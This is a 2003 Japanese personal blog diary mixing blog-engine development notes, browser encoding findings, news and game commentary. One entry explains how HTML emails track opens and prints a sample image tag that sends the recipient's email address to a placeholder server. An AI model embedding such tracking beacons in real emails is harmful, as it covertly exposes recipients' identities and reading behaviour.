東映は7月の封切りを前に、1日から首都圏や近畿圏など100カ所の中学校、高校近くに縦1メートル、横3メートルの同映画の宣伝看板を掲げようとした。しかし、これを見た地元の住民やPTAから苦情が相次ぎ、看板設置を拒む地権者もいた。
そういえば、昨日バスを待っているときに正面にこの看板がありましたっけ。
そもそも映画自体が過激なのだろうと思いますが、今回のバトルロワイヤルって R15 指定ではないのかしら。
じゅうきネット
長野県行政機構審議会 第6回本人確認情報保護審議会 (www.pref.nagano.jp)。セキュリティホールmemo で紹介されていたのですが、アンケートの問5 の内容が実に生々しいというか、運用する側にこれだけ否定的な意見があるというのは想像を絶していました。
長野県下の市町村というと何故か真っ先に佐久市 (www.city.saku.nagano.jp)が思い浮かぶのですが、佐久市は大丈夫なのかしら。
関連する話題: 政治
2003年6月8日(日曜日)
キンジン
テレビを見ていたら、「キンジン」なる甘いお菓子があるそうで。
ちょっと調べてみると、"Quindim" というブラジルのお菓子で、黄色いココナッツプリンのようなものらしいです。材料は卵、砂糖、ココナッツミルク。
2003年6月6日(金曜日)
hatomaru.dll/1.0
そんなわけでコメント投稿機能を一通り修正。
これで当初考えていた機能はおおよそそろったので、hatomaru.dll のバージョンを 1.0 としました。
次はトラックバックかな。
関連する話題: hatomaru.dll / えび日記
思い出した
先週末にドラマを見ていた時に連想した行政事件があって、しかしながら時期とか事件名とか全く思い出せずに判例を探し出せないでいたのですが、今日になって「最高裁(第二小法廷)昭和53年 5月26日判決 =行政判例百選Ⅰ[第四版]№027〔山形県個室付浴場・損害賠償請求事件〕 (www.hiraoka.rose.ne.jp)」を発見。
※「トルコ風呂」って言葉が時代を感じさせるなぁ、って当時も思ったことを読んで初めて思い出したとかいう。
市ヶ谷で囲碁
『と学会年鑑BLUE』を読んでいて知ったのですが、日本棋院 (www.nihonkiin.or.jp)の本部って五番町にあったんですね。「日本棋院市ヶ谷会館(本院) (www.nihonkiin.or.jp)」のところの地図を見ると、HP のすぐ近くのようで。
何でこんなことが気になったかというと、実は以前から地下鉄でよく見かける方がいるのです。その方は年配の女性なのですが、いつも囲碁の本を読んでいて、その姿が妙に格好良い。それで、その方はいつも必ず市ヶ谷で降りられていたのです。
そんなわけでちょっと気になっていたのですが、この方がいつも市ヶ谷で降りる理由が分かったと、まあそういうわけでございます。
2003年6月5日(木曜日)
やっぱりバグってた
コメント投稿機能を実装したら早速利用していただいてありがたや。
※「おたよりありがとう! みんな、どんどん送ってね!」……というフレーズを唐突に思い出しましたが、誰の台詞でしたっけ。
しかし、予想通りですがバグっててごめんなさい。最大のバグは Last-Modified が正しくないことですね。コメントは htmlbbs.xml に蓄積されるのに ebi.xml の更新日だけ見て Last-Modified を生成しているので、コメントを投稿しても Last-Modified が更新されず、IMS つきのリクエストにも平気で 304 を返したりするという……。
ぼちぼちと直していきます。
関連する話題: hatomaru.dll / えび日記
ルビィ編快調
アンリミテッド:サガ (www.amazon.co.jp)。ヴェント編では魔道板が大量に出たものの、結局 1枚も読破できないままクリア。で、5人目はルビィです。デザイナーズノートによれば、ルビィの冒険はハードらしいのですが……。
このゲームは序盤の仲間が少ない時期がメチャクチャきついのですが、ルビィの場合は最初の冒険 2回はダンジョン自体の難易度がかなり低く、その後は仲間が増えて 4人になるのでかなり楽です。ルビィ、どの辺がハードなんでしょう? 後半に鬼のようにハードな局面が待っていたりするのでしょうか。
※あ、でも最初の冒険では鍵を使う必要があるので、鍵の使い方が分からなくてクリアできない可能性はありますね。実際に鍵の使い方が分からなくてクリアできなかったプレイヤーも相当数いそう……。
そんな感じでまったりと進んでいたら、「イスカンダールとの旅 その3」クリア時に出ました、「術合成レベル3」! それも嬉しいことにサファイアにです。こんな序盤から術合成が出てしまって良いのでしょうか。
しかし、せっかくの術合成も術がないと生かせません。実はその前の「イスカンダールとの旅 その1」で「名もなき木術士の魔道板」レベル1 が出ていて、サファイアはそれを読破していました。ですので一応術はあるのですが、その術はたったの4つで、しかもほとんど意味のない術ばかりです。術合成は嬉しいのですが、ここで出てもあんまり意味ない……。
……と思っていたら、すぐ次の「イスカンダールとの旅 その4」でレベル3 の魔道板「聖印の書」が出ました。なんとまあナイスなタイミング。同じレベル3 でジョイントしてくれと言わんばかりだったので、術合成の隣に配置。うーん、怖いくらい順調な滑り出しです。
関連する話題: 出来事 / ゲーム / スクウェア / Sa・Ga / アンリミテッド:サガ
2003年6月4日(水曜日)
コメント投稿機能
というわけで、なんとなくコメント投稿機能を実装してみました。ちなみに投稿されたコメントは掲示板の方からも読めるようになっていますので、掲示板の最新記事をウォッチしていれば最新のコメントが補足できる仕組みです。
例によっていい加減な実装なのでバグが出るかも知れませんが、まあ勇気ある方はどしどしコメントしてみてください。
関連する話題: hatomaru.dll / えび日記
XHTML+XML
/bakera/hatomaru.aspx/ebi.xml を GET しようとしている人がいたりしますが、ひょっとして Content-Type: text/xml とか Content-Type: application/xhtml+xml なリソースが欲しかったりするのでしょうか。
※移転前のえび日記は単純に Apache の MultiViews でネゴシエーションしていたので、/ebi をリクエストすると Accept: の値に応じて適当なものを、/ebi.html をリクエストすると text/html なリソースを、ebi.xml をリクエストすると text/xml なリソースを返していたのです。残念なことに今は text/html しかありません。
このリソースは元々が XHTML ですし、well-formed であることは保証できる (System.Xml 名前空間の各種クラスがバグっていない限り、ですが) ので、Content-Type をすげ替えるだけで実現できますが、意味あるのかしら……。
関連する話題: hatomaru.dll / えび日記 / HTML / XML
2003年6月3日(火曜日)
HTMLメールの開封情報を取得する
HTMLメールにはウイルスの問題だけではなく,プライバシの問題もある。HTMLメール中にイメージ・タグを記述して,画像データを事業者のサーバーからダウンロードさせるようにすれば,サーバーのログからメールを“開封”したかどうかが分かる。ログからは,そのユーザーのIPアドレスが分かるだけだが,何らかの方法でユーザーの個人情報とひも付けることも可能だろう。
以上、ITPro 記者の眼:HTMLメールはやめよう より
「何らかの方法」についてですが、もっとも手っ取り早くかつ実際に使われているのが「メールごとに個別の ID を振って引数として渡させる」という方法ですね。もっとダイレクトにメールアドレスそのものが入っていることもあります。たとえば、HTML メールの中に以下のようなソースを入れておくわけです。
<img src="http://example.com/log.cgi?mail_address=foo@example.com" alt="">
もちろんメールアドレスの部分はメールの送信先と同じものが入ります。そうすると、どのメールアドレス宛のメールが読まれたのか一目瞭然なのですね。
実際にはこの部分はメールアドレスである必要はなく、メールアドレスごとにユニークな ID であれば足ります。送り側には ID とメールアドレスの対応表がありますから、それと突き合わせれば、すぐにどのメールアドレス宛のメールが読まれたのか分かります。
※webmaster 宛てに来る traficmagnet.com の spam というのがありますが、確かあれにもこういう仕組みがあって、例の磁石のアニメ GIF 画像を取ってくるときに引数を渡していたように思います。
2003年6月2日(月曜日)
POST 時の文字符号化方式
IE6 の「常に UTF-8 として URL を送信」ですが、これは GET の URL にだけ適用され、POST のときの符号化方式には影響しないようです。POST 時の符号化方式はページの符号化方式に依存しているようで、フォームページの文字符号化方式が UTF-8 なら POST されるデータも UTF-8 になりますし、ページが Shift_JIS なら POST データも Shift_JIS になります。
そして残念なことに、IE6 では form要素の accept-charset属性を指定しても何の効果もないことが判明。完全にフォームページの符号化方式に依存するようです。
関連する話題: UA / ブラウザ / Microsoft / Internet Explorer / HTML
hatomaru.dll 今後の予定
今後の予定メモ。
- ジャンル一覧表示を何とかする。できればジャンルの階層化、用語と連携。
- フィードバックフォーム。
- 日記入力フォーム。手で XML を書くのは別に面倒ではないのですが、たまに Validate 忘れて突っ込んで死んでしまう問題があるのと、ジャンルの記入が面倒なのでチェックボックスで指定できるようにしたい、という二点により Web 上で記入できるようにしたかったり。
- ついでに trackback に対応するとか。trackback ping の実態はシンプルな POST リクエストなので、実装は難しくないはず。
- RSS とか。
- 画像台紙自動生成機能(仮称)。
- はてなアンテナが下位の robots.txt を GET してくる対策。
- ヨスケの url() 関数間違い対策。
関連する話題: メモ / hatomaru.dll
2003年6月1日(日曜日)
魔道板出過ぎ
アンリミテッド:サガ (www.amazon.co.jp)。レベル4の魔道板が大量に出てびっくりの今日この頃ですが、その後運びの道中でまたしても「天神マディーニ」入手。ティフォンもバーストも天神マディーニは既に持っているのでルビィにつけるしかないのですが、ルビィは既に魔道板を3枚持っていて、どれもコンプリートしていない状態です。仕方ないので、解読中の「名もなき土術士」を捨てて天神マディーニを獲得。うーん、まだスリープ覚えてなかったんですが……。
その後めでたくニバコリナが出たので、メインシナリオ進行。塔は何事もなくクリアし、その後敵のアジトでトレジャースライム大発生、魔道板を3枚入手。
これがまたレベル4だったりしたら、もうつけられません。ルビィもバーストもレベル4魔道板を3枚持っているので、もう余裕がありません。1枚だったらティフォンにつけられるので、それでなんとか……と思いつつクリア。
魔道板3枚は左から「森の哲学者ガルネリ」「森の哲学者ガルネリ」「名もなき土術士レベル1」……レベル4が2つも! 本当に出過ぎです。
まあ一枚はティフォンに、と思ったらティフォンがいなくなっているし。しようがないので、まだ解読中だったバーストの「天神マディーニ」とルビィの「黒の火術士アマティ」とを外してガルネリを。ルビィは太陽風を覚えていたからまあ良かったのですが、バーストはスローストリームもアイスニードルも覚えてなかったのに……。
ジュディ編では結構頑張って魔道板を狙っていったのに、レベル4魔道板は一つも出ませんでした。それに対して、ヴェント編では狙ってもいないのに 9枚ってどういう事なんでしょう。レベルが決まるのに何か条件があるのかしら……。
関連する話題: 出来事 / ゲーム / スクウェア / Sa・Ga / アンリミテッド:サガ
- 前(古い): 2003年5月のえび日記
- 次(新しい): 2003年7月のえび日記